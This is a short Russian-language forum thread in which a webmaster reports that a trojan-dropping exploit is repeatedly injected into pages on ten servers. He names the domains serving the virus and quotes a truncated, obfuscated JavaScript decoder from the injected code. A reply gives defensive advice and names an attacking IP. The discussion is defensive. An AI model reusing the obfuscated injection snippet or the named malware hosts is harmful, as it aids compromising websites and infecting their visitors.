Jevgeni
помогите кто чем может
на странички записывается эксплойт с трояном
произошло уже второй раз, даже после смены паролей
10 разных серверов
вирус на эксплойте качается с hugocnt.info и grudcnt.com
пишет в файл такие строки:
<script language="JavaScript">e = '0x00' + '2C';str1 = .........CharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
кто что знает? кто сталкивался?
Последний раз редактировалось: Jevgeni (25/04/07 в 18:20), всего редактировалось 1 раз
ritor
Домены на кликдомейнс вроде, им отпиши сразу с примерами... они читера закроют, комп почисти свой от троянов, и на сервере заблокируй доступ по ФТП для всех кроме своего айпи...
Взлом с 75.126.21.163 вот уже было такое
ritor
Я ж сказал, закрой доступ по фтп всем айпи кроме своего.... Это оптимальный вариант, я на нем остановился. ну и еще пара моментов хитрых придумалось по мониторингу, но это в паблик выкладывать не буду...